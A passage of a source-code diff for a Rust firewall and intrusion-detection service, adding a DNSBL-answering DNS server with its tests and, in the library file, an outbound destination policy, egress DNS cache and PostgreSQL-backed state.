request.queries.len() != 1 { + response.metadata.response_code = ResponseCode::FormErr; + return encode(response); + } + let query = &request.queries[0]; + if let Some(response) = answer_dnsbl(state, &request, query).await { + return encode(response); + } + if !matches!(query.query_type(), RecordType::A | RecordType::AAAA) { + response.metadata.response_code = ResponseCode::NotImp; + return encode(response); + } + let host = query.name().to_utf8().trim_end_matches('.').to_string(); + let addresses = match state.egress_dns.lookup(&host).await { + Some(addresses) => addresses, + None => { + let decision = state + .resolve_outbound(&format!("https://{host}/")) + .await + .ok(); + let Some(decision) = decision else { + response.metadata.response_code = ResponseCode::Refused; + return encode(response); + }; + decision.ips + } + }; + for data in addresses + .into_iter() + .filter_map(|address| match (query.query_type(), address) { + (RecordType::A, std::net::IpAddr::V4(address)) => Some(RData::A(A(address))), + (RecordType::AAAA, std::net::IpAddr::V6(address)) => Some(RData::AAAA(AAAA(address))), + _ => None, + }) + .take(DNS_MAX_ANSWERS) + { + response.add_answer(Record::from_rdata( + query.name().clone(), + DNS_TTL_SECONDS, + data, + )); + } + encode(response) +} + +async fn answer_dnsbl( + state: &AppState, + request: &Message, + query: &hickory_proto::op::Query, +) -> Option { + let host = query.name().to_utf8(); + let address = dnsbl_query_address(&host, &state.dnsbl_origin)?; + let mut response = Message::new(request.metadata.id, MessageType::Response, OpCode::Query); + response.metadata.authoritative = true; + response.metadata.recursion_desired = request.metadata.recursion_desired; + response.add_query(query.clone()); + let Some(address) = address else { + response.metadata.response_code = ResponseCode::NXDomain; + add_negative_soa(&mut response, &state.dnsbl_origin); + return Some(response); + }; + let entries = state.inner.read().await.dnsbl.clone(); + let matches: Vec<_> = entries + .iter() + .filter(|entry| { + waf_ids_core::validate_dnsbl(entry).is_ok() + && waf_ids_core::dnsbl_matches(entry, address) + }) + .take(DNS_MAX_ANSWERS) + .collect(); + if matches.is_empty() { + response.metadata.response_code = ResponseCode::NXDomain; + add_negative_soa(&mut response, &state.dnsbl_origin); + return Some(response); + } + match query.query_type() { + RecordType::A => { + for entry in matches { + let Ok(code) = entry.code.parse() else { + continue; + }; + response.add_answer(Record::from_rdata( + query.name().clone(), + u32::try_from(entry.ttl_seconds).unwrap_or(u32::MAX), + RData::A(A(code)), + )); + } + } + RecordType::TXT => { + for entry in matches { + let text = format!("{} source={}", entry.reason, entry.source); + response.add_answer(Record::from_rdata( + query.name().clone(), + u32::try_from(entry.ttl_seconds).unwrap_or(u32::MAX), + RData::TXT(TXT::new(vec![bounded_txt(&text)])), + )); + } + } + _ => add_negative_soa(&mut response, &state.dnsbl_origin), + } + Some(response) +} + +fn add_negative_soa(response: &mut Message, origin: &str) { + let Ok(zone) = Name::from_ascii(format!("{}.", origin.trim_matches('.'))) else { + return; + }; + let Ok(primary) = Name::from_ascii(format!("ns.{zone}")) else { + return; + }; + let Ok(responsible) = Name::from_ascii(format!("hostmaster.{zone}")) else { + return; + }; + response.authorities.push(Record::from_rdata( + zone, + DNS_TTL_SECONDS, + RData::SOA(SOA::new( + primary, + responsible, + 1, + 3600, + 600, + 86400, + DNS_TTL_SECONDS, + )), + )); +} + +fn dnsbl_query_address(host: &str, origin: &str) -> Option> { + let host = host.trim_end_matches('.').to_ascii_lowercase(); + let origin = origin.trim_matches('.').to_ascii_lowercase(); + if host == origin { + return Some(None); + } + let relative = host.strip_suffix(&format!(".{origin}"))?; + let octets = relative + .split('.') + .map(str::parse::) + .collect::, _>>() + .ok(); + if let Some(address) = octets.and_then(|octets| { + (octets.len() == 4) + .then(|| std::net::Ipv4Addr::new(octets[3], octets[2], octets[1], octets[0])) + }) { + return Some(Some(address.into())); + } + let nibbles = relative.split('.').collect::>(); + Some( + (nibbles.len() == 32 && nibbles.iter().all(|nibble| nibble.len() == 1)) + .then(|| { + let value = nibbles.into_iter().rev().collect::(); + u128::from_str_radix(&value, 16) + .ok() + .map(std::net::Ipv6Addr::from) + .map(std::net::IpAddr::V6) + }) + .flatten(), + ) +} + +fn bounded_txt(value: &str) -> String { + let end = value + .char_indices() + .map(|(index, _)| index) + .take_while(|index| *index <= 255) + .last() + .unwrap_or(0); + if value.len() <= 255 { + value.to_string() + } else { + value[..end].to_string() + } +} + +fn encode(message: Message) -> Option> { + let mut bytes = Vec::with_capacity(512); + let mut encoder = BinEncoder::new(&mut bytes); + message.emit(&mut encoder).ok()?; + Some(bytes) +} + +fn udp_response(bytes: Vec) -> Option> { + if bytes.len() <= DNS_UDP_MAX_BYTES { + return Some(bytes); + } + let message = Message::from_bytes(&bytes).ok()?; + let truncated = encode(message.truncate())?; + (truncated.len() <= DNS_UDP_MAX_BYTES).then_some(truncated) +} + +pub async fn serve( + state: AppState, + udp: UdpSocket, + tcp: TcpListener, + mut stop: watch::Receiver, +) { + let state_udp = state.clone(); + let mut stop_udp = stop.clone(); + let udp_task = tokio::spawn(async move { + let udp = Arc::new(udp); + let permits = Arc::new(Semaphore::new(DNS_MAX_IN_FLIGHT)); + let mut packet = [0_u8; DNS_UDP_MAX_BYTES + 1]; + loop { + tokio::select! { + changed = stop_udp.changed() => { + if changed.is_err() || *stop_udp.borrow() { break; } + }, + received = udp.recv_from(&mut packet) => { + let Ok((length, peer)) = received else { continue }; + if length > DNS_UDP_MAX_BYTES { continue; } + let Ok(permit) = Arc::clone(&permits).try_acquire_owned() else { continue }; + let packet = packet[..length].to_vec(); + let state = state_udp.clone(); + let udp = Arc::clone(&udp); + tokio::spawn(async move { + let _permit = permit; + if let Some(response) = answer(&state, &packet).await.and_then(udp_response) { + let _ = udp.send_to(&response, peer).await; + } + }); + } + } + } + }); + + let permits = Arc::new(Semaphore::new(DNS_MAX_IN_FLIGHT)); + loop { + tokio::select! { + changed = stop.changed() => { + if changed.is_err() || *stop.borrow() { break; } + }, + accepted = tcp.accept() => { + let Ok((stream, _)) = accepted else { continue }; + let Ok(permit) = Arc::clone(&permits).try_acquire_owned() else { continue }; + let state = state.clone(); + tokio::spawn(async move { + let _permit = permit; + let _ = serve_tcp(state, stream).await; + }); + } + } + } + udp_task.abort(); +} + +async fn serve_tcp(state: AppState, mut stream: TcpStream) -> std::io::Result<()> { + let length = tokio::time::timeout(Duration::from_secs(5), stream.read_u16()).await?? as usize; + if length == 0 || length > DNS_PACKET_MAX_BYTES { + return Ok(()); + } + let mut packet = vec![0; length]; + tokio::time::timeout(Duration::from_secs(5), stream.read_exact(&mut packet)).await??; + if let Some(response) = answer(&state, &packet).await { + stream.write_u16(response.len() as u16).await?; + stream.write_all(&response).await?; + } + Ok(()) +} + +#[cfg(test)] +mod tests { + use super::*; + use hickory_proto::{op::Query, rr::Name}; + use std::net::IpAddr; + + struct StaticResolver(Vec); + + impl crate::HostResolver for StaticResolver { + fn resolve(&self, _host: &str) -> Result, String> { + Ok(self.0.clone()) + } + } + + struct SlowResolver; + + impl crate::HostResolver for SlowResolver { + fn resolve(&self, host: &str) -> Result, String> { + if host == "slow.example" { + std::thread::sleep(Duration::from_millis(300)); + } + Ok(vec!["8.8.8.8".parse().unwrap()]) + } + } + + fn query_packet(id: u16, host: &str) -> Vec { + typed_query_packet(id, host, RecordType::A) + } + + fn typed_query_packet(id: u16, host: &str, record_type: RecordType) -> Vec { + let mut request = Message::new(id, MessageType::Query, OpCode::Query); + request.add_query(Query::query( + Name::from_ascii(format!("{host}.")).unwrap(), + record_type, + )); + encode(request).unwrap() + } + + async fn dnsbl_state() -> AppState { + let state = AppState::seeded(None); + state.inner.write().await.dnsbl = vec![waf_ids_core::DnsblEntry { + address: "192.0.2.0".parse().unwrap(), + prefix_len: Some(24), + code: "127.0.0.7".to_string(), + reason: "credential abuse".to_string(), + source: "test:feed".to_string(), + ttl_seconds: 600, + }]; + state + } + + #[tokio::test] + async fn serves_authoritative_dnsbl_a_and_txt_records() { + let state = dnsbl_state().await; + + let name = "99.2.0.192.dnsbl.local"; + let a = Message::from_bytes( + &answer(&state, &typed_query_packet(11, name, RecordType::A)) + .await + .unwrap(), + ) + .unwrap(); + assert!(a.metadata.authoritative); + assert!(!a.metadata.recursion_available); + assert_eq!(a.answers.len(), 1); + assert_eq!(a.answers[0].ttl, 600); + assert!( + matches!(a.answers[0].data, RData::A(A(address)) if address.to_string() == "127.0.0.7") + ); + + let txt = Message::from_bytes( + &answer(&state, &typed_query_packet(12, name, RecordType::TXT)) + .await + .unwrap(), + ) + .unwrap(); + assert!(txt.metadata.authoritative); + assert_eq!(txt.answers.len(), 1); + assert!( + matches!(&txt.answers[0].data, RData::TXT(value) if value.to_string().contains("credential abuse source=test:feed")) + ); + + let nodata = Message::from_bytes( + &answer(&state, &typed_query_packet(14, name, RecordType::MX)) + .await + .unwrap(), + ) + .unwrap(); + assert_eq!(nodata.metadata.response_code, ResponseCode::NoError); + assert!(nodata.answers.is_empty()); + assert!(matches!(nodata.authorities[0].data, RData::SOA(_))); + } + + #[tokio::test] + async fn serves_ipv6_dnsbl_names_with_nibble_reversal_and_cidr_matching() { + let state = AppState::seeded(None); + state.inner.write().await.dnsbl = vec![waf_ids_core::DnsblEntry { + address: "2001:db8::".parse().unwrap(), + prefix_len: Some(64), + code: "127.0.0.8".to_string(), + reason: "IPv6 abuse".to_string(), + source: "test:feed".to_string(), + ttl_seconds: 600, + }]; + let name = "3.6.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.8.b.d.0.1.0.0.2.dnsbl.local"; + + assert_eq!( + dnsbl_query_address(name, "dnsbl.local"), + Some(Some("2001:db8::63".parse().unwrap())) + ); + let response = Message::from_bytes( + &answer(&state, &typed_query_packet(15, name, RecordType::A)) + .await + .unwrap(), + ) + .unwrap(); + assert!(response.metadata.authoritative); + assert!( + matches!(response.answers[0].data, RData::A(A(address)) if address.to_string() == "127.0.0.8") + ); + } + + #[test] + fn rejects_malformed_ipv6_dnsbl_names() { + for relative in [ + "3.6.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.8.b.d.0.1.0.2", + "g.6.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.8.b.d.0.1.0.0.2", + ] { + assert_eq!( + dnsbl_query_address(&format!("{relative}.dnsbl.local"), "dnsbl.local"), + Some(None) + ); + } + } + + #[tokio::test] + async fn serves_dnsbl_queries_over_udp_and_tcp() { + let udp = UdpSocket::bind("127.0.0.1:0").await.unwrap(); + let address = udp.local_addr().unwrap(); + let tcp = TcpListener::bind(address).await.unwrap(); + let (stop, stop_rx) = watch::channel(false); + let server = tokio::spawn(serve(dnsbl_state().await, udp, tcp, stop_rx)); + let name = "99.2.0.192.dnsbl.local"; + + let client = UdpSocket::bind("127.0.0.1:0").await.unwrap(); + client + .send_to(&query_packet(21, name), address) + .await + .unwrap(); + let mut packet = [0_u8; DNS_PACKET_MAX_BYTES]; + let (length, _) = + tokio::time::timeout(Duration::from_secs(1), client.recv_from(&mut packet)) + .await + .unwrap() + .unwrap(); + let response = Message::from_bytes(&packet[..length]).unwrap(); + assert!(response.metadata.authoritative); + assert!(matches!(response.answers[0].data, RData::A(_))); + + let mut stream = TcpStream::connect(address).await.unwrap(); + let query = typed_query_packet(22, name, RecordType::TXT); + stream.write_u16(query.len() as u16).await.unwrap(); + stream.write_all(&query).await.unwrap(); + let length = tokio::time::timeout(Duration::from_secs(1), stream.read_u16()) + .await + .unwrap() + .unwrap() as usize; + let mut packet = vec![0; length]; + stream.read_exact(&mut packet).await.unwrap(); + let response = Message::from_bytes(&packet).unwrap(); + assert!(response.metadata.authoritative); + assert!(matches!(response.answers[0].data, RData::TXT(_))); + + stop.send(true).unwrap(); + server.await.unwrap(); + } + + #[tokio::test] + async fn dnsbl_unlisted_and_malformed_names_are_authoritative_nxdomain() { + let state = AppState::seeded(None) + .with_resolver(Arc::new(StaticResolver(vec!["8.8.8.8".parse().unwrap()]))); + for name in [ + "100.2.0.192.dnsbl.local", + "999.2.0.192.dnsbl.local", + "dnsbl.local", + ] { + let response = + Message::from_bytes(&answer(&state, &query_packet(13, name)).await.unwrap()) + .unwrap(); + assert!(response.metadata.authoritative); + assert_eq!(response.metadata.response_code, ResponseCode::NXDomain); + assert!(response.answers.is_empty()); + assert!(matches!(response.authorities[0].data, RData::SOA(_))); + } + } + + #[tokio::test] + async fn refuses_private_answers_and_unsupported_types() { + let state = AppState::seeded(None) + .with_destination_policy(crate::DestinationPolicy::production()) + .with_resolver(Arc::new(StaticResolver(vec!["127.0.0.1".parse().unwrap()]))); + let mut request = Message::new(7, MessageType::Query, OpCode::Query); + request.add_query(Query::query( + Name::from_ascii("localhost.").unwrap(), + RecordType::A, + )); + let response = + Message::from_bytes(&answer(&state, &encode(request).unwrap()).await.unwrap()).unwrap(); + assert_eq!(response.metadata.response_code, ResponseCode::Refused); + + let mut request = Message::new(0, MessageType::Query, OpCode::Query); + request.add_query(Query::query( + Name::from_ascii("example.com.").unwrap(), + RecordType::MX, + )); + let response = + Message::from_bytes(&answer(&state, &encode(request).unwrap()).await.unwrap()).unwrap(); + assert_eq!(response.metadata.response_code, ResponseCode::NotImp); + } + + #[tokio::test] + async fn ignores_non_query_messages() { + let state = AppState::seeded(None); + let response = Message::new(7, MessageType::Response, OpCode::Query); + assert!(answer(&state, &encode(response).unwrap()).await.is_none()); + + let status = Message::new(7, MessageType::Query, OpCode::Status); + assert!(answer(&state, &encode(status).unwrap()).await.is_none()); + } + + #[tokio::test] + async fn returns_and_caches_only_policy_approved_address_family() { + let state = AppState::seeded(None) + .with_destination_policy(crate::DestinationPolicy::production()) + .with_resolver(Arc::new(StaticResolver(vec![ + "8.8.8.8".parse().unwrap(), + "2001:4860:4860::8888".parse().unwrap(), + ]))); + let mut request = Message::new(0, MessageType::Query, OpCode::Query); + request.add_query(Query::query( + Name::from_ascii("public.example.").unwrap(), + RecordType::A, + )); + let response = + Message::from_bytes(&answer(&state, &encode(request).unwrap()).await.unwrap()).unwrap(); + assert_eq!(response.metadata.response_code, ResponseCode::NoError); + assert_eq!(response.answers.len(), 1); + assert_eq!(response.answers[0].ttl, DNS_TTL_SECONDS); + assert_eq!( + state.egress_dns.lookup("PUBLIC.EXAMPLE.").await, + Some(vec![ + "8.8.8.8".parse().unwrap(), + "2001:4860:4860::8888".parse().unwrap() + ]) + ); + } + + #[tokio::test] + async fn answer_limit_is_applied_after_address_family_filter() { + let mut addresses = vec!["2001:4860:4860::8888".parse().unwrap(); DNS_MAX_ANSWERS]; + addresses.push("8.8.8.8".parse().unwrap()); + let state = AppState::seeded(None) + .with_destination_policy(crate::DestinationPolicy::production()) + .with_resolver(Arc::new(StaticResolver(addresses))); + + let response = Message::from_bytes( + &answer(&state, &query_packet(9, "public.example")) + .await + .unwrap(), + ) + .unwrap(); + + assert_eq!(response.answers.len(), 1); + assert!(matches!(response.answers[0].data, RData::A(_))); + } + + #[tokio::test] + async fn udp_fast_query_is_not_blocked_by_slow_resolution() { + let state = AppState::seeded(None) + .with_destination_policy(crate::DestinationPolicy::production()) + .with_resolver(Arc::new(SlowResolver)); + let udp = UdpSocket::bind("127.0.0.1:0").await.unwrap(); + let address = udp.local_addr().unwrap(); + let tcp = TcpListener::bind(address).await.unwrap(); + let (stop, stop_rx) = watch::channel(false); + let server = tokio::spawn(serve(state, udp, tcp, stop_rx)); + let client = UdpSocket::bind("127.0.0.1:0").await.unwrap(); + client.connect(address).await.unwrap(); + client.send(&query_packet(1, "slow.example")).await.unwrap(); + client.send(&query_packet(2, "fast.example")).await.unwrap(); + + let mut response = [0_u8; DNS_PACKET_MAX_BYTES]; + let length = tokio::time::timeout(Duration::from_millis(200), client.recv(&mut response)) + .await + .expect("fast query must not wait for slow DNS") + .unwrap(); + assert_eq!( + Message::from_bytes(&response[..length]) + .unwrap() + .metadata + .id, + 2 + ); + stop.send(true).unwrap(); + server.await.unwrap(); + } + + #[tokio::test] + async fn shutdown_signal_is_not_lost_before_waiters_park() { + let state = AppState::seeded(None); + let udp = UdpSocket::bind("127.0.0.1:0").await.unwrap(); + let tcp = TcpListener::bind(udp.local_addr().unwrap()).await.unwrap(); + let (stop, stop_rx) = watch::channel(false); + stop.send(true).unwrap(); + tokio::time::timeout(Duration::from_millis(200), serve(state, udp, tcp, stop_rx)) + .await + .expect("a pre-delivered shutdown must terminate both DNS loops"); + } + + #[test] + fn oversized_udp_response_sets_tc_and_stays_within_classic_limit() { + let mut message = Message::new(7, MessageType::Response, OpCode::Query); + let name = Name::from_ascii("large.example.").unwrap(); + message.add_query(Query::query(name.clone(), RecordType::AAAA)); + for index in 0..32_u16 { + let address = format!("2001:db8::{index}").parse().unwrap(); + message.add_answer(Record::from_rdata( + name.clone(), + DNS_TTL_SECONDS, + RData::AAAA(AAAA(address)), + )); + } + let response = udp_response(encode(message).unwrap()).unwrap(); + assert!(response.len() <= DNS_UDP_MAX_BYTES); + let decoded = Message::from_bytes(&response).unwrap(); + assert!(decoded.metadata.truncation); + assert!(decoded.answers.is_empty()); + } +} diff --git a/src/lib.rs b/src/lib.rs index 8f54751..7b1c094 100644 --- a/src/lib.rs +++ b/src/lib.rs @@ -1,22 +1,25 @@ use axum::{ Json, Router, body::Bytes, - extract::{DefaultBodyLimit, Path as PathParam, Query, State}, - http::{HeaderMap, Method, StatusCode, Uri}, + extract::{DefaultBodyLimit, Path as PathParam, Query, Request, State}, + http::{HeaderMap, HeaderValue, Method, StatusCode, Uri, header}, response::{Html, IntoResponse, Response}, routing::{any, get, post}, }; +use base64::{Engine as _, engine::general_purpose::STANDARD as BASE64}; use serde::{Deserialize, Serialize}; use std::{ collections::{HashMap, HashSet}, io::ErrorKind, - net::{IpAddr, Ipv4Addr}, + net::{IpAddr, Ipv4Addr, SocketAddr}, path::{Path, PathBuf}, sync::Arc, - time::{SystemTime, UNIX_EPOCH}, + time::{Duration, Instant, SystemTime, UNIX_EPOCH}, }; use tokio::{ fs, + io::copy_bidirectional, + net::TcpStream, sync::{Mutex, RwLock}, }; use waf_ids_core::{ @@ -35,26 +38,90 @@ pub use waf_ids_core::{ ThreatIndicator, export_dnsbl_zone, ip_in_network, reverse_ipv4_for_dnsbl, score_request, }; +const EGRESS_DNS_TTL: Duration = Duration::from_secs(30); +const EGRESS_DNS_MAX_ENTRIES: usize = 1024; +const MCP_PROTOCOL_VERSION: &str = "2026-07-28"; +#[cfg(not(test))] +const OUTBOX_DISPATCH_TIMEOUT_SECS: u64 = 15; +#[cfg(test)] +const OUTBOX_DISPATCH_TIMEOUT_SECS: u64 = 1; + +#[derive(Default)] +struct EgressDnsCache { + inner: Mutex)>>, +} + +impl EgressDnsCache { + async fn live_entry_count(&self) -> usize { + let mut cache = self.inner.lock().await; + let now = Instant::now(); + cache.retain(|_, (expires, _)| *expires > now); + cache.len() + } + + async fn lookup(&self, host: &str) -> Option> { + let host = host.trim_end_matches('.').to_ascii_lowercase(); + let mut cache = self.inner.lock().await; + let (expires, addresses) = cache.get(&host)?; + if *expires <= Instant::now() { + cache.remove(&host); + return None; + } + Some(addresses.clone()) + } + + async fn record(&self, host: &str, addresses: &[IpAddr]) { + let mut cache = self.inner.lock().await; + if cache.len() >= EGRESS_DNS_MAX_ENTRIES { + cache.clear(); + } + cache.insert( + host.trim_end_matches('.').to_ascii_lowercase(), + (Instant::now() + EGRESS_DNS_TTL, addresses.to_vec()), + ); + } +} + +struct CachedHostResolver(Vec); + +impl HostResolver for CachedHostResolver { + fn resolve(&self, _host: &str) -> Result, String> { + Ok(self.0.clone()) + } +} + +mod control_plane; mod coraza_audit; +mod coraza_inprocess; mod credentials; +mod destination; +mod egress_dns; mod misp_import; mod opencti_import; +mod outbox; +mod proven_engine; mod stix_import; mod suricata_eve; mod taxii; -pub use credentials::{CRED_ADMIN_TOKEN, CRED_ADMIN_TOKENS, CredentialRegistry, CredentialSource}; +pub use credentials::{ + CRED_ADMIN_TOKEN, CRED_ADMIN_TOKENS, CRED_CONTROL_PLANE_URL, CRED_DESTINATION_ALLOWLIST, + CRED_DESTINATION_DENYLIST, CRED_EGRESS_PROXY_TOKEN, CRED_SOC_LLM_TOKEN, CRED_TAXII_BEARER, + CredentialRegistry, CredentialSource, +}; +pub use destination::{DestinationPolicy, HostResolver, SystemHostResolver}; +pub use proven_engine::{ProvenEngineConfig, ProvenEngineOutcome}; #[derive(Clone)] pub struct AppState { inner: Arc>, persist_lock: Arc>, - http: reqwest::Client, - feed_http: reqwest::Client, admin_token: Option, // RBAC: multiple admin tokens each mapped to an actor + write capability. // Empty falls back to the single `admin_token`. Token values are never logged. admin_tokens: HashMap, - /// Where admin secrets were bootstrapped from (file/env/none). Never holds values. + /// Dedicated browser-proxy password loaded from the credential registry. + egress_proxy_token: Option, + /// Where secrets were bootstrapped from (file/env/mixed/none). Never holds values. credentials_source: CredentialSource, state_path: Option, dnsbl_origin: String, @@ -71,6 +138,20 @@ pub struct AppState { // Optional LLM SOC-analysis backend (OpenAI-compatible, e.g. the // contextual-orchestrator gateway). `None` unless configured. soc_llm: Option, + /// Optional TAXII Bearer for durable polls. Never logged or written to outbox. + taxii_bearer: Option, + /// Exact URL origin authorized to receive the registry TAXII bearer. + taxii_bearer_origin: Option, + /// In-path Coraza consult (in-process libcoraza and/or sidecar). + proven_engine: ProvenEngineConfig, + /// Fail-closed destination policy for every outbound http/https call. + destination: DestinationPolicy, + resolver: Arc, + egress_dns: Arc, + egress_dns_listener_enabled: bool, + destination_resolve_permits: Arc, + /// PostgreSQL snapshot store. `None` keeps the JSON-file / memory adapter. + control_plane: Option>, } /// Configuration for the optional LLM-backed SOC analysis. Points at an @@ -99,6 +180,7 @@ pub struct ClearfolioConfig { impl AppState { pub fn seeded(admin_token: Option) -> Self { Self::new(AppData::seeded(), AppConfig::memory(admin_token)) + .with_destination_policy(DestinationPolicy::development()) } pub async fn load(config: AppConfig) -> Result { @@ -114,17 +196,58 @@ impl AppState { Ok(Self::new(data, config)) } + /// Load from PostgreSQL, seeding the tenant snapshot when empty. + pub async fn load_postgres(config: AppConfig, database_url: &str) -> Result { + Self::load_postgres_from_plane( + config, + control_plane::PostgresPlane::connect(database_url).await?, + ) + .await + } + + /// Load a specific tenant snapshot. `save` bumps `snapshot_version`; the + /// in-memory token must match that next value or the first management write + /// false-conflicts (HTTP 409) forever. + pub async fn load_postgres_for_tenant( + config: AppConfig, + database_url: &str, + tenant_id: &str, + ) -> Result { + Self::load_postgres_from_plane( + config, + control_plane::PostgresPlane::connect_tenant(database_url, tenant_id).await?, + ) + .await + } + + async fn load_postgres_from_plane( + config: AppConfig, + plane: control_plane::PostgresPlane, + ) -> Result { + let plane = plane.with_event_limit(config.event_limit); + let loaded = plane.load().await?; + let mut data = loaded.clone().unwrap_or_else(AppData::seeded); + let event_limit = config.event_limit.max(1); + enforce_event_limit(&mut data, event_limit); + if loaded.is_none() { + plane.save(&data).await?; + data.snapshot_version = data.snapshot_version.saturating_add(1); + } + Ok(Self::new(data, config).with_control_plane(Arc::new(plane))) + } + + fn with_control_plane(mut self, plane: Arc) -> Self { + self.control_plane = Some(plane); + self + } + fn new(data: AppData, config: AppConfig) -> Self { Self { inner: Arc::new(RwLock::new(data)), persist_lock: Arc::new(Mutex::new(())), - http: reqwest::Client::new(), - feed_http: reqwest::Client::builder() - .redirect(reqwest::redirect::Policy::none()) - .build() - .expect("failed to build no-redirect feed client"), admin_token: config.admin_token, admin_tokens: HashMap::new(), + egress_proxy_token: None, credentials_source: CredentialSource::None, state_path: config.state_path, dnsbl_origin: normalized_origin(&config.dnsbl_origin), @@ -135,6 +258,15 @@ impl AppState { max_body_bytes: 1_048_576, clearfolio: None, soc_llm: None, + taxii_bearer: None, + taxii_bearer_origin: None, + proven_engine: ProvenEngineConfig::disabled(), + destination: DestinationPolicy::production(), + resolver: Arc::new(SystemHostResolver), + egress_dns: Arc::new(EgressDnsCache::default()), + egress_dns_listener_enabled: false, + destination_resolve_permits: Arc::new(tokio::sync::Semaphore::new(64)), + control_plane: None, } } @@ -159,6 +291,93 @@ impl AppState { self } + /// Optional TAXII Bearer from the credential registry. Never written to outbox payloads. + pub fn with_taxii_bearer(mut self, token: Option, origin: Option) -> Self { + self.taxii_bearer = token.filter(|value| !value.is_empty()); + self.taxii_bearer_origin = origin; + self + } + + /// Configure the in-path Coraza adapter (sidecar and/or libcoraza). + /// Builder-style. + pub fn with_proven_engine(mut self, config: ProvenEngineConfig) -> Self { + self.proven_engine = config; + self + } + + /// Replace the outbound destination policy. Builder-style. + pub fn with_destination_policy(mut self, policy: DestinationPolicy) -> Self { + self.destination = policy; + self + } + + /// Replace the destination DNS resolver. Tests inject a static map so a + /// hostname that is not in OS DNS can still be evaluated and pinned. + #[cfg(test)] + fn with_resolver(mut self, resolver: Arc) -> Self { + self.resolver = resolver; + self + } + + /// Fail closed before any outbound http/https send. + /// + /// Blocking OS DNS runs on `spawn_blocking` with a bounded timeout so a + /// hung resolver cannot starve Tokio workers. Successful evaluations are + /// recorded on the pin board the HTTP clients use for connect-time DNS. + async fn resolve_outbound( + &self, + url: &str, + ) -> Result { + let policy = self.destination.clone(); + let parsed = reqwest::Url::parse(url).map_err(|_| { + OutboundResolutionError::Destination(destination::DestinationError::Invalid( + "destination URL is invalid".to_string(), + )) + })?; + let host = parsed.host_str().ok_or_else(|| { + OutboundResolutionError::Destination(destination::DestinationError::Invalid( + "destination URL has no host".to_string(), + )) + })?; + if let Some(ips) = self.egress_dns.lookup(host).await { + return policy + .evaluate(url, &CachedHostResolver(ips)) + .map_err(OutboundResolutionError::Destination); + } + let permit = tokio::time::timeout( + DESTINATION_RESOLVE_TIMEOUT, + Arc::clone(&self.destination_resolve_permits).acquire_owned(), + ) + .await + .map_err(|_| OutboundResolutionError::Timeout)? + .map_err(|_| OutboundResolutionError::Unavailable)?; + let resolver = Arc::clone(&self.resolver); + let url = url.to_string(); + let decision = tokio::time::timeout( + DESTINATION_RESOLVE_TIMEOUT, + tokio::task::spawn_blocking(move || { + let _permit = permit; + policy.evaluate(&url, resolver.as_ref()) + }), + ) + .await + .map_err(|_| OutboundResolutionError::Timeout)? + .map_err(|_| OutboundResolutionError::Unavailable)? + .map_err(OutboundResolutionError::Destination)?; + self.egress_dns.record(&decision.host, &decision.ips).await; + Ok(decision) + } + + async fn outbound_client(&self, url: &str) -> Result { + let decision = self + .resolve_outbound(url) + .await + .map_err(|error| error.to_string())?; + let pins = Arc::new(destination::DestinationPins::default()); + pins.record(&decision.host, &decision.ips); + Ok(outbound_http_client(pins)) + } + /// Enable per-client-IP rate limiting: at most `limit` gateway requests per /// `window_secs`. `limit == 0` disables it (the default). Builder-style so /// callers keep using [`AppConfig`] unchanged. @@ -175,6 +394,16 @@ impl AppState { self } + pub fn with_egress_proxy_token(mut self, token: Option) -> Self { + self.egress_proxy_token = token.filter(|value| !value.is_empty()); + self + } + + fn with_egress_dns_listener_enabled(mut self, enabled: bool) -> Self { + self.egress_dns_listener_enabled = enabled; + self + } + /// Record how admin secrets were bootstrapped into the process (never values). pub fn with_credentials_source(mut self, source: CredentialSource) -> Self { self.credentials_source = source; @@ -222,6 +451,13 @@ impl AppState { mutate: impl FnOnce(&mut AppData) -> T, ) -> Result { let _guard = self.persist_lock.lock().await; + self.mutate_and_persist_locked(mutate).await + } + + async fn mutate_and_persist_locked( + &self, + mutate: impl FnOnce(&mut AppData) -> T, + ) -> Result { let (result, snapshot, previous) = { let mut data = self.inner.write().await; let previous = data.clone(); @@ -229,14 +465,32 @@ impl AppState { (result, data.clone(), previous) }; if let Err(error) = self.persist_snapshot(&snapshot).await { + let latest = if error.contains("snapshot conflict") { + match &self.control_plane { + Some(plane) => plane.load().await.ok().flatten(), + None => None, + } + } else { + None + }; let mut data = self.inner.write().await; - *data = previous; + if let Some(latest) = latest { + *data = latest; + } else { + *data = previous; + } return Err(error); } Ok(result) } async fn persist_snapshot(&self, data: &AppData) -> Result<(), String> { + if let Some(plane) = &self.control_plane { + plane.save(data).await?; + let mut inner = self.inner.write().await; + inner.snapshot_version = data.snapshot_version.saturating_add(1); + return Ok(()); + } let Some(path) = self.state_path.as_deref() else { return Ok(()); }; @@ -246,7 +500,9 @@ impl AppState { fn health_status(&self) -> HealthStatus { HealthStatus { status: "ok".to_string(), - persistence: if self.state_path.is_some() { + persistence: if self.control_plane.is_some() { + "postgres".to_string() + } else if self.state_path.is_some() { "file".to_string() } else { "memory".to_string() @@ -255,7 +511,46 @@ impl AppState { event_limit: self.event_limit, credentials_source: self.credentials_source.as_str().to_string(), admin_auth_configured: self.admin_token.is_some() || !self.admin_tokens.is_empty(), + proven_engine: self.proven_engine.mode().to_string(), + proven_engine_fail_closed: self.proven_engine.fail_closed, + destination_mode: self.destination.mode().to_string(), + outbox: if self.control_plane.is_some() { + "ready".to_string() + } else { + "disabled".to_string() + }, + outbox_pending: 0, + outbox_leased: 0, + outbox_dead_letter: 0, + outbox_oldest_age_seconds: None, + backup: if self.control_plane.is_some() { + "ready".to_string() + } else { + "disabled".to_string() + }, + event_partitions: 0, + } + } + + async fn health_status_live(&self) -> HealthStatus { + let mut health = self.health_status(); + let Some(plane) = &self.control_plane else { + return health; + }; + match plane.outbox_health(now_unix() as i64).await { + Ok(stats) => { + health.outbox = stats.status; + health.outbox_pending = stats.pending; + health.outbox_leased = stats.leased; + health.outbox_dead_letter = stats.dead_letter; + health.outbox_oldest_age_seconds = stats.oldest_age_seconds; + } + Err(_) => health.outbox = "error".to_string(), } + if let Ok(count) = plane.event_partition_count().await { + health.event_partitions = count; + } + health } } @@ -369,6 +664,7 @@ pub struct SupportBundle { #[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] pub struct HealthStatus { pub status: String, + /// `postgres` (production authority), `file` (loopback/community), or `memory`. pub persistence: String, pub dnsbl_origin: String, pub event_limit: usize, @@ -376,6 +672,22 @@ pub struct HealthStatus { 